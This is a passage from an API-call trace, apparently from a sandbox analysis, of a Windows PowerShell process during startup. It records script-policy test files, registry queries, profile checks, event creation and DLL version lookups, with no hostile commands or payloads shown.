(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_0ltle5lv.p54.psm1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7bc [0115.562] GetFileType (hFile=0x7bc) returned 0x1 [0115.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae580) returned 1 [0115.562] GetFileType (hFile=0x7bc) returned 0x1 [0115.562] WriteFile (in: hFile=0x7bc, lpBuffer=0x56acf64*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x30ae600, lpOverlapped=0x0 | out: lpBuffer=0x56acf64*, lpNumberOfBytesWritten=0x30ae600*=0x1, lpOverlapped=0x0) returned 1 [0115.564] CloseHandle (hObject=0x7bc) returned 1 [0115.565] CoTaskMemAlloc (cb=0x92) returned 0x77c0220 [0115.566] IdentifyCodeAuthzLevelW () returned 0x1 [0115.669] CoTaskMemFree (pv=0x77c0220) [0115.669] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0115.670] CloseCodeAuthzLevel () returned 0x1 [0115.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0115.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x49, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", lpFilePart=0x0) returned 0x48 [0115.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae644) returned 1 [0115.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_cvdghe1r.uh0.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae6c0 | out: lpFileInformation=0x30ae6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4b7eb4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x8f4b7eb4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8f4b7eb4, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0115.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae640) returned 1 [0115.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0115.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", nBufferLength=0x49, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1", lpFilePart=0x0) returned 0x48 [0115.670] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_cvdghe1r.uh0.ps1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_cvdghe1r.uh0.ps1")) returned 1 [0115.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0115.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x4a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", lpFilePart=0x0) returned 0x49 [0115.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae644) returned 1 [0115.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_0ltle5lv.p54.psm1"), fInfoLevelId=0x0, lpFileInformation=0x30ae6c0 | out: lpFileInformation=0x30ae6c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4b7eb4, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0x8f4b7eb4, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0x8f4de26e, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0115.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae640) returned 1 [0115.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0115.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", nBufferLength=0x4a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1", lpFilePart=0x0) returned 0x49 [0115.671] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\__PSScriptPolicyTest_0ltle5lv.p54.psm1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\__psscriptpolicytest_0ltle5lv.p54.psm1")) returned 1 [0115.673] GetSystemInfo (in: lpSystemInfo=0x30ae6f8 | out: lpSystemInfo=0x30ae6f8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x4501)) [0115.673] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae688 | out: phkResult=0x30ae688*=0x7bc) returned 0x0 [0115.674] RegQueryValueExW (in: hKey=0x7bc, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x30ae6a4, lpData=0x0, lpcbData=0x30ae6a0*=0x0 | out: lpType=0x30ae6a4*=0x0, lpData=0x0, lpcbData=0x30ae6a0*=0x0) returned 0x2 [0115.674] RegCloseKey (hKey=0x7bc) returned 0x0 [0115.674] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae6d4 | out: phkResult=0x30ae6d4*=0x7bc) returned 0x0 [0115.675] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae6f4, lpData=0x0, lpcbData=0x30ae6f0*=0x0 | out: lpType=0x30ae6f4*=0x1, lpData=0x0, lpcbData=0x30ae6f0*=0x56) returned 0x0 [0115.675] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae6f4, lpData=0x56ae50c, lpcbData=0x30ae6f0*=0x56 | out: lpType=0x30ae6f4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x30ae6f0*=0x56) returned 0x0 [0115.675] RegCloseKey (hKey=0x7bc) returned 0x0 [0115.675] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae6d4 | out: phkResult=0x30ae6d4*=0x7bc) returned 0x0 [0115.676] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae6f4, lpData=0x0, lpcbData=0x30ae6f0*=0x0 | out: lpType=0x30ae6f4*=0x1, lpData=0x0, lpcbData=0x30ae6f0*=0x56) returned 0x0 [0115.676] RegQueryValueExW (in: hKey=0x7bc, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x30ae6f4, lpData=0x56ae884, lpcbData=0x30ae6f0*=0x56 | out: lpType=0x30ae6f4*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x30ae6f0*=0x56) returned 0x0 [0115.676] RegCloseKey (hKey=0x7bc) returned 0x0 [0115.683] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.683] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x3152ee8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0115.683] CoTaskMemFree (pv=0x3152ee8) [0115.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0115.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0115.683] CoTaskMemAlloc (cb=0x20c) returned 0x3152ee8 [0115.683] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x3152ee8 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 0x0 [0115.684] CoTaskMemFree (pv=0x3152ee8) [0115.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0115.684] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents", nBufferLength=0x1a, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents", lpFilePart=0x0) returned 0x19 [0115.685] QueryPerformanceFrequency (in: lpFrequency=0x51c4da0 | out: lpFrequency=0x51c4da0*=100000000) returned 1 [0115.686] QueryPerformanceCounter (in: lpPerformanceCount=0x30ae794 | out: lpPerformanceCount=0x30ae794*=20781752625) returned 1 [0115.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0115.686] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x37, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0115.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae6a4) returned 1 [0115.687] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae720 | out: lpFileInformation=0x30ae720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0115.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae6a0) returned 1 [0115.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0115.687] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4c, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0115.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae6a4) returned 1 [0115.687] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae720 | out: lpFileInformation=0x30ae720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0115.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae6a0) returned 1 [0115.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0115.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x38, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x37 [0115.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae6a4) returned 1 [0115.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae720 | out: lpFileInformation=0x30ae720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0115.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae6a0) returned 1 [0115.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0115.687] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x4d, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4c [0115.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x30ae6a4) returned 1 [0115.687] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x30ae720 | out: lpFileInformation=0x30ae720*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0115.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x30ae6a0) returned 1 [0115.687] QueryPerformanceCounter (in: lpPerformanceCount=0x30ae784 | out: lpPerformanceCount=0x30ae784*=20781910425) returned 1 [0115.741] GetCurrentProcessId () returned 0x1368 [0115.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x63d94e8, Length=0x28170, ResultLength=0x30ae708 | out: SystemInformation=0x63d94e8, ResultLength=0x30ae708*=0x1b450) returned 0x0 [0115.873] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7bc [0115.873] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x784 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7c0 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7c4 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7c8 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x7cc [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7d0 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7d4 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7d8 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x7dc [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7e0 [0115.874] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7e4 [0115.890] SetEvent (hEvent=0x7c4) returned 1 [0115.890] SetEvent (hEvent=0x7bc) returned 1 [0115.890] SetEvent (hEvent=0x784) returned 1 [0115.890] SetEvent (hEvent=0x7c0) returned 1 [0115.890] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x7e8 [0115.891] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x30ae60c | out: phkResult=0x30ae60c*=0x7ec) returned 0x0 [0115.938] RegQueryValueExW (in: hKey=0x7ec, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x30ae62c, lpData=0x0, lpcbData=0x30ae628*=0x0 | out: lpType=0x30ae62c*=0x0, lpData=0x0, lpcbData=0x30ae628*=0x0) returned 0x2 [0115.939] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x7f0 [0115.940] SetEvent (hEvent=0x7f0) returned 1 Thread: id = 93 os_tid = 0xe20 Thread: id = 95 os_tid = 0x93c Thread: id = 96 os_tid = 0x13c4 Thread: id = 97 os_tid = 0x13c8 Thread: id = 98 os_tid = 0x13a0 Thread: id = 99 os_tid = 0x13b0 [0107.283] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.283] RoInitialize () returned 0x1 [0107.283] RoUninitialize () returned 0x0 [0114.751] CoGetContextToken (in: pToken=0x534f950 | out: pToken=0x534f950) returned 0x0 [0114.751] CoGetContextToken (in: pToken=0x534f8d0 | out: pToken=0x534f8d0) returned 0x0 [0114.751] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x1 [0114.751] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x0 [0114.752] CloseHandle (hObject=0x724) returned 1 [0114.752] CertFreeCertificateContext (pCertContext=0x77454e0) returned 1 [0114.753] CloseHandle (hObject=0x768) returned 1 [0117.783] CloseHandle (hObject=0x824) returned 1 [0117.784] RegCloseKey (hKey=0x7ec) returned 0x0 [0119.656] CertFreeCertificateContext (pCertContext=0x7745f30) returned 1 [0119.656] CertFreeCertificateContext (pCertContext=0x77460c0) returned 1 [0123.033] CloseHandle (hObject=0x824) returned 1 [0123.033] CloseHandle (hObject=0x7ec) returned 1 [0123.033] CloseHandle (hObject=0x8b0) returned 1 [0123.034] CloseHandle (hObject=0x8b8) returned 1 [0123.034] CloseHandle (hObject=0x8ac) returned 1 [0123.034] CertFreeCertificateContext (pCertContext=0x7746480) returned 1 [0123.034] CertFreeCertificateContext (pCertContext=0x7746750) returned 1 [0123.034] CloseHandle (hObject=0x8c0) returned 1 [0123.034] CloseHandle (hObject=0x8a8) returned 1 [0123.034] CloseHandle (hObject=0x8d0) returned 1 [0128.806] CoGetContextToken (in: pToken=0x534f950 | out: pToken=0x534f950) returned 0x0 [0128.806] CoGetContextToken (in: pToken=0x534f8d0 | out: pToken=0x534f8d0) returned 0x0 [0128.806] WbemLocator:IUnknown:Release (This=0x79fdd80) returned 0x1 [0128.806] WbemLocator:IUnknown:Release (This=0x79fdd80) returned 0x0 [0128.806] CoGetContextToken (in: pToken=0x534f950 | out: pToken=0x534f950) returned 0x0 [0128.806] IUnknown:QueryInterface (in: This=0x319ecf0, riid=0x72e4f070*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x534f8f4 | out: ppvObject=0x534f8f4*=0x319ed00) returned 0x0 [0128.807] CObjectContext::ContextCallback () Thread: id = 101 os_tid = 0x1120 [0109.667] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0109.668] CoGetContextToken (in: pToken=0x746fb44 | out: pToken=0x746fb44) returned 0x0 [0109.668] CObjectContext::QueryInterface () returned 0x0 [0109.668] CObjectContext::GetCurrentThreadType () returned 0x0 [0109.668] Release () returned 0x0 [0109.668] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0109.668] CoUninitialize () [0109.668] RoInitialize () returned 0x1 [0109.668] RoUninitialize () returned 0x0 [0109.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0109.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0109.699] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x315e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0109.699] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x746eee0) returned 1 [0109.699] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x746ef5c | out: lpFileInformation=0x746ef5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0109.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x746eedc) returned 1 [0109.700] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x746efd0 | out: lpdwHandle=0x746efd0) returned 0x94c [0109.700] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x53bbb44 | out: lpData=0x53bbb44) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x746efa4, puLen=0x746efa0 | out: lplpBuffer=0x746efa4*=0x53bbbe0, puLen=0x746efa0) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbcbc, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbd10, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbd6c, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbdac, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbe14, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbeb0, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbf14, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbf90, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x53bbc38, puLen=0x746ef20) returned 1 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x746ef24, puLen=0x746ef20 | out: lplpBuffer=0x746ef24*=0x0, puLen=0x746ef20) returned 0 [0109.701] VerQueryValueW (in: pBlock=0x53bbb44, 